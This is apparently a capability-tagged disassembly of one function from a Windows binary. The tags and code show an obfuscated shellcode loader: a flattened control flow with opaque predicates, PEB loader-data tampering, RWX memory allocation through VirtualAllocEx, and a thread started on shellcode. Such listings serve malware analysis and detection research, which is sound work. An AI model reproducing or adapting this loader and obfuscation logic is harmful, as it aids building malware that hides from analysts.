Function at 0x40f1b0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x4b3f8
call fcn.0041f140
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4b3f8], eax
mov eax, dword [0x481080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4b3f0], 0x1e08526
mov eax, dword [ebp - 0x4b3f0]
mov dword [ebp - 0x4b3fc], eax
sub eax, 0x80ca4ae2
je 0x4130b2
jmp 0x40f1f8
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x81e79b6c
je 0x413578
jmp 0x40f20e
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x82f424b8
je 0x410b6f
jmp 0x40f224
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x84104f41
je 0x411142
jmp 0x40f23a
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8431b269
je 0x41227a
jmp 0x40f250
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x85498b42
je 0x413253
jmp 0x40f266
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x856c7d4c
je 0x4122d2
jmp 0x40f27c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x859d798f
je 0x4117be
jmp 0x40f292
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x85b1b538
je 0x41168f
jmp 0x40f2a8
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x85f22b95
je 0x41194f
jmp 0x40f2be
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x85f4499e
je 0x410c3f
jmp 0x40f2d4
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8634e48c
je 0x410ae5
jmp 0x40f2ea
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8678a7d0
je 0x410ba9
jmp 0x40f300
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x884900fc
je 0x413a25
jmp 0x40f316
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x89753e17
je 0x412d82
jmp 0x40f32c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8b2987c9
je 0x4127f0
jmp 0x40f342
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8c94680a
je 0x4119a3
jmp 0x40f358
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8cae1b44
je 0x4119c1
jmp 0x40f36e
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x8f428fad
je 0x410cbc
jmp 0x40f384
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x907002c4
je 0x412a40
jmp 0x40f39a
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x90da2bc0
je 0x411e8a
jmp 0x40f3b0
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x92214e3f
je 0x410c69
jmp 0x40f3c6
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9240d851
je 0x412484
jmp 0x40f3dc
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x928be6e7
je 0x412718
jmp 0x40f3f2
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x95cf14c2
je 0x412835
jmp 0x40f408
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x98d43b6f
je 0x413a07
jmp 0x40f41e
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x99614bf5
je 0x4123b1
jmp 0x40f434
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9982a7ab
je 0x4132a7
jmp 0x40f44a
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x99d7700a
je 0x410e32
jmp 0x40f460
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x99f0754a
je 0x4110b7
jmp 0x40f476
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9b1641a3
je 0x413382
jmp 0x40f48c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9c4f38d7
je 0x412b22
jmp 0x40f4a2
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9d00917d
je 0x412493
jmp 0x40f4b8
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9dcc4957
je 0x413c40
jmp 0x40f4ce
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9dd68fe0
je 0x412b9d
jmp 0x40f4e4
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9dd86b65
je 0x410947
jmp 0x40f4fa
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0x9fcf4246
je 0x411be9
jmp 0x40f510
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xa5d647b7
je 0x410d07
jmp 0x40f526
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xa73fdc47
je 0x412d91
jmp 0x40f53c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xa77621b6
je 0x413879
jmp 0x40f552
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xad322c27
je 0x413c0a
jmp 0x40f568
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xad9bcd3d
je 0x41253d
jmp 0x40f57e
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xada29378
je 0x413830
jmp 0x40f594
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb060f531
je 0x4136ad
jmp 0x40f5aa
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb1449860
je 0x413d4d
jmp 0x40f5c0
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb19eeec6
je 0x412682
jmp 0x40f5d6
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb269850e
je 0x412cd4
jmp 0x40f5ec
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb2767ce6
je 0x412faf
jmp 0x40f602
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb3e36ee2
je 0x4119fa
jmp 0x40f618
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb4a0b90f
je 0x413c73
jmp 0x40f62e
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb4ec6d0a
je 0x412c7f
jmp 0x40f644
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb5f9ebe2
je 0x41134c
jmp 0x40f65a
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb795b019
je 0x41374e
jmp 0x40f670
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb7af5e0a
je 0x4138f4
jmp 0x40f686
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xb9459c21
je 0x411cb0
jmp 0x40f69c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xba2cd8e4
je 0x413aab
jmp 0x40f6b2
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xbc7e048c
je 0x4110c6
jmp 0x40f6c8
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xbe073390
je 0x413ba7
jmp 0x40f6de
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xbe7d5c61
je 0x413314
jmp 0x40f6f4
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xbf8789b2
je 0x411720
jmp 0x40f70a
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xc2c651c2
je 0x4139e9
jmp 0x40f720
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xc36956f3
je 0x410a8d
jmp 0x40f736
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xc38b96c9
je 0x41364d
jmp 0x40f74c
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xc66c26c7
je 0x41390d
jmp 0x40f762
mov eax, dword [ebp - 0x4b3fc]
sub eax, 0xc7249297
je 0x411b2a
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5475217e
mov ecx, 0x531f1448
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x59ba0054
jmp 0x413eee
mov eax, dword [ebp - 0x4b35c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b355], al
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
add edx, 0xfa2b4a6b
sub edx, 1
sub edx, 0xfa2b4a6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2f8a4e81
mov ecx, 0x82f424b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dl, byte [ebp - 0x4b355]
mov eax, 0x8678a7d0
mov ecx, 0x2952f685
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b3ac]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4b354], eax
mov dword [ebp - 0x4b3f0], 0x53438840
jmp 0x413eee
mov eax, dword [ebp - 0x4b3b0]
mov dword [ebp - 0x4b34c], eax
mov eax, dword [ebp - 0x4b3ac]
add eax, 0x18
mov dword [ebp - 0x4b348], eax
mov dword [ebp - 0x4b3f0], 0x92214e3f
jmp 0x413eee
mov eax, dword [ebp - 0x4b348]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0x4b34c]
mov eax, 0xa5d647b7
mov ecx, 0x744d1e5e
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b344]
mov ecx, dword [ebp - 0x4b340]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x4b3b4], eax
mov dword [ebp - 0x4b3f0], 0xa5d647b7
jmp 0x413eee
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
add edx, 0x98d02134
sub edx, 1
sub edx, 0x98d02134
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcd865718
mov ecx, 0x63db081f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b33c]
mov dword [ebp - 0x4b3b8], eax
mov dword [ebp - 0x4b3bc], 0
mov dword [ebp - 0x4b3f0], 0x5b0ea9f9
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0xbc7e048c
jmp 0x413eee
mov eax, dword [ebp - 0x4b32c]
mov ecx, dword [ebp - 0x4b328]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x4b334]
mov ecx, dword [ebp - 0x4b330]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041ffa0
add esp, 0xc
mov dword [ebp - 0x4b3f0], 0x283a0406
jmp 0x413eee
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x98d43b6f
mov ecx, 0x35dc07d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b3b0]
mov ecx, dword [ebp - 0x4b3ac]
mov ecx, dword [ecx + 0x34]
add eax, 0x12771a2
sub eax, ecx
sub eax, 0x12771a2
mov dword [ebp - 0x4b3c0], eax
mov dword [ebp - 0x4b3f0], 0x69560183
jmp 0x413eee
mov eax, dword [ebp - 0x4b3d4]
mov dword [ebp - 0x4b310], eax
mov dword [ebp - 0x4b3f0], 0x156570dd
jmp 0x413eee
mov eax, dword [ebp - 0x4b310]
movzx ecx, word [eax]
sar ecx, 0xc
mov edx, 0xffffffff
xor edx, 3
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b309], al
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
sub edx, 0x2bbb7b54
sub edx, 1
add edx, 0x2bbb7b54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba2cd8e4
mov ecx, 0x859d798f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dl, byte [ebp - 0x4b309]
mov eax, 0x152cbbc6
mov ecx, 0x1511c80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b2fc]
mov dword [ebp - 0x4b3d4], eax
mov dword [ebp - 0x4b3f0], 0x7fa61b10
jmp 0x413eee
mov eax, dword [ebp - 0x4b3c4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x4b2f8], eax
mov dword [ebp - 0x4b3f0], 0x8cae1b44
jmp 0x413eee
mov eax, dword [ebp - 0x4b3c8]
mov ecx, dword [ebp - 0x4b2f8]
sub eax, 0x21be87fe
add eax, ecx
add eax, 0x21be87fe
mov dword [ebp - 0x4b3c8], eax
mov eax, dword [ebp - 0x4b3d4]
mov dword [ebp - 0x4b3c4], eax
mov dword [ebp - 0x4b3f0], 0x4b0e70a1
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x20bf52de
jmp 0x413eee
mov dl, byte [ebp - 0x4b2ed]
mov eax, 0x99614bf5
mov ecx, 0x2fd23fa7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b2ec]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b2e5], al
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
mov edx, eax
sub edx, 0xc1e1be86
sub edx, 1
add edx, 0xc1e1be86
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56cb14e2
mov ecx, 0x6b74d1cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dl, byte [ebp - 0x4b2dd]
mov eax, 0x29acc8ab
mov ecx, 0xe6ae742a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b39c]
mov eax, dword [eax]
mov dword [ebp - 0x4b2bc], eax
mov dword [ebp - 0x4b3f0], 0x8fa0229
jmp 0x413eee
mov eax, dword [ebp - 0x4b3e0]
mov dword [ebp - 0x4b2b8], eax
mov dword [ebp - 0x4b3f0], 0x7970aeef
jmp 0x413eee
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
add edx, 0x1e3d0c72
sub edx, 1
sub edx, 0x1e3d0c72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xad322c27
mov ecx, 0x4db23388
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x9d00917d
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x6ca5d35f
jmp 0x413eee
mov eax, dword [ebp - 0x4b2b4]
mov ecx, dword [ebp - 0x4b2b0]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x4b2a9], al
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
add edx, 0xee5f9bee
sub edx, 1
sub edx, 0xee5f9bee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc22ade5
mov ecx, 0xd8c0bcc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b38c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4b2a8]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x4b384]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b384]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b2a1], al
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
mov edx, eax
sub edx, 0xabdde4bc
sub edx, 1
add edx, 0xabdde4bc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9dcc4957
mov ecx, 0x928be6e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dl, byte [ebp - 0x4b2a1]
mov eax, 0x5e812b1d
mov ecx, 0xdc51bfde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov edx, dword [ebp - 0x4b2a0]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov eax, 0xffffffff
xor eax, 0x2169fbe3
or edx, ecx
or eax, 0x2169fbe3
xor edx, 0xffffffff
and edx, eax
mov eax, 0x5e812b1d
mov ecx, 0x95cf14c2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b384]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b29a], al
mov dword [ebp - 0x4b3f0], 0xf47abd5d
jmp 0x413eee
mov eax, dword [ebp - 0x4b388]
mov dword [eax], 4
mov dword [ebp - 0x4b3f0], 0x30ed7ae5
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0xa73fdc47
jmp 0x413eee
mov eax, dword [ebp - 0x4b384]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xf79019c5
or eax, edx
or ecx, 0xf79019c5
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b292], al
mov dword [ebp - 0x4b3f0], 0xdcc954d7
jmp 0x413eee
mov eax, dword [ebp - 0x4b388]
mov dword [eax], 0x20
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26f97ad6
mov ecx, 0xb269850e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x340b1133
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0xa73fdc47
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x29a37e04
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x34936b25
jmp 0x413eee
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x4b380]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b380]
mov eax, dword [eax]
add eax, 0xbbcba7f1
add eax, 0xc
sub eax, 0xbbcba7f1
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4b37c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b37c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
add ecx, eax
mov eax, dword [ebp - 0x4b378]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4b3b0]
mov eax, dword [ebp - 0x4b380]
mov eax, dword [eax]
sub eax, 0x78d00116
mov dword [eax + 0x78d0011e], ecx
mov ecx, dword [ebp - 0x4b3b0]
mov eax, dword [ebp - 0x4b378]
mov eax, dword [eax]
sub eax, 0xabf8a146
mov dword [eax - 0x54075ea2], ecx
mov eax, dword [ebp - 0x4b378]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x24
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x4b374]
mov dword [eax], ecx
mov dword [ebp - 0x4b3f0], 0x4d16c5d5
jmp 0x413eee
mov dl, byte [ebp - 0x4b281]
mov eax, 0x6f1b3266
mov ecx, 0xca0b3563
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b374]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b280]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x4b370]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x4b374]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x4b3f0], 0x6f1b3266
jmp 0x413eee
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x281c002f
mov ecx, 0x9b1641a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [ebp - 0x4b27c]
mov edx, dword [ebp - 0x4b278]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x4b364]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b36c]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x4b271], al
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x281c002f
mov ecx, 0x79df7952
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
mov edx, eax
sub edx, 0x59c3244b
sub edx, 1
add edx, 0x59c3244b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61fb754f
mov ecx, 0x5dc1b689
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x595b9e83
jmp 0x413eee
mov eax, dword [ebp - 0x4b270]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4b3a0], 0
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x11a775e0
mov ecx, 0x1d83f6a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov ecx, dword [0x48257c]
mov eax, dword [0x482578]
mov edx, ecx
sub edx, 0x1244fca7
sub edx, 1
add edx, 0x1244fca7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x32bff237
mov ecx, 0xcf9cffcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5398d1de
mov ecx, 0xa77621b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov eax, dword [0x48257c]
mov ecx, dword [0x482578]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5398d1de
mov ecx, 0xcf032d14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3f0], eax
jmp 0x413eee
mov dword [ebp - 0x4b3a0], 1
mov dword [ebp - 0x4b3f0], 0x4a293779
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x34cfa78a
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0xe583ea6e
jmp 0x413eee
mov dword [ebp - 0x4b3f0], 0x35dc07d6
jmp 0x413eee
mov eax, dword [ebp - 0x4b3b0]
mov edx, dword [ebp - 0x4b268]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4b3c4], eax
mov dword [ebp - 0x4b3c8], 0
mov dword [ebp - 0x4b3f0], 0xf15a73ed
jmp 0x413eee
mov eax, dword [ebp - 0x4b310]
mov dword [ebp - 0x4b3f0], 0xbf8789b2
jmp 0x413eee
mov eax, dword [ebp - 0x4b398]
mov dword [ebp - 0x4b3f0], 0xe8bb9e39
jmp 0x413eee
mov eax, dword [ebp - 0x4b38c]
mov dword [eax], 0
mov dword [ebp - 0x4b3f0], 0x4db23388
jmp 0x413eee
mov eax, dword [ebp - 0x4b38c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4b2a8]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x4b384]
mov dword [eax], ecx
